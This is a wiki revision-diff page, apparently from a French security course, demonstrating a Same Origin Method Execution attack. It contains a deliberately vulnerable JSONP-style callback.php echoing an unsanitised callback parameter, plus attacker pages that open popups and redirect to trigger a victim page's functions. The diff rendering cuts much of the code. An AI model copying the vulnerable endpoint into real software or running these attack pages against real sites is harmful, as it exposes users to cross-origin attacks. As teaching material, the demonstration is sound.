secres:some
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
secres:some [2017/11/23 09:09] – orel | secres:some [2024/03/18 15:06] (current) – external edit 127.0.0.1 | ||
---|---|---|---|
Line 5: | Line 5: | ||
=== Démonstration === | === Démonstration === | ||
- | Soit le site web " | + | //La démonstration suivante a été mise en oeuvre avec le navigateur Google Chrome.// |
- | Il fonctionne de la manière suivante | + | Considérons le site web du domaine // |
- | => http:// | + | |
- | En pratique, il va juste exécuter | + | <code html attackme.html> |
+ | < | ||
+ | | ||
+ | function hello() { | ||
+ | document.write(" | ||
+ | } | ||
+ | function hack() { | ||
+ | document.write(" | ||
+ | } | ||
+ | hello(); | ||
+ | | ||
+ | </ | ||
+ | </code> | ||
- | La victime | + | |
+ | |||
+ | Par ailleurs, le site possède un callback endpoint vulnérable (typiquement du JSONP ou du Flash). Ici le endpoint vulnérable est juste un programme callback.php (http:// | ||
+ | |||
+ | * http:// | ||
+ | |||
+ | En pratique, le code PHP se contente d' | ||
+ | |||
+ | <code php callback.php> | ||
+ | <?php | ||
+ | $callback = isset($_GET[' | ||
+ | $arg = isset($_GET[' | ||
+ | print "< | ||
+ | ?> | ||
+ | </ | ||
+ | |||
+ | Imaginons que la victime | ||
+ | |||
+ | Par exemple : [[http:// | ||
+ | |||
+ | Afin de contourner les popups blocker (celui interne à Google Chrome et/ou les plugins comme AdBlock), ils existent de multiples techniques. La plus simple (même si ce n'est pas discret) consiste à ouvrir le popup après un //click// utilisateur... | ||
+ | |||
+ | <code html attack-click.html> | ||
+ | < | ||
+ | < | ||
+ | <h1> Main Attack Page</ | ||
+ | < | ||
+ | function redirect() { | ||
+ | window.open("/ | ||
+ | window.location.replace(" | ||
+ | } | ||
+ | </ | ||
+ | <button onclick=" | ||
+ | </ | ||
+ | </ | ||
+ | </ | ||
+ | |||
+ | |||
+ | <code html win1.html> | ||
+ | < | ||
+ | < | ||
+ | <h1> Win 1</ | ||
+ | < | ||
+ | < | ||
+ | function waitForDOM() { | ||
+ | window.location.replace(" | ||
+ | } | ||
+ | setTimeout(waitForDOM, | ||
+ | </ | ||
+ | </ | ||
+ | |||
+ | </ | ||
+ | </ | ||
secres/some.1511428167.txt.gz · Last modified: 2024/03/18 15:05 (external edit)